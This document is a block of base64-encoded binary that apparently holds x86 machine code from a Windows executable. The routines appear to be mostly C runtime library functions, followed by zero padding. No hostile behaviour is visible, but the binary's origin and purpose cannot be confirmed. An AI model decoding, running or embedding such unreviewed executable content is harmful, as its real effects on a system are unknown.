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 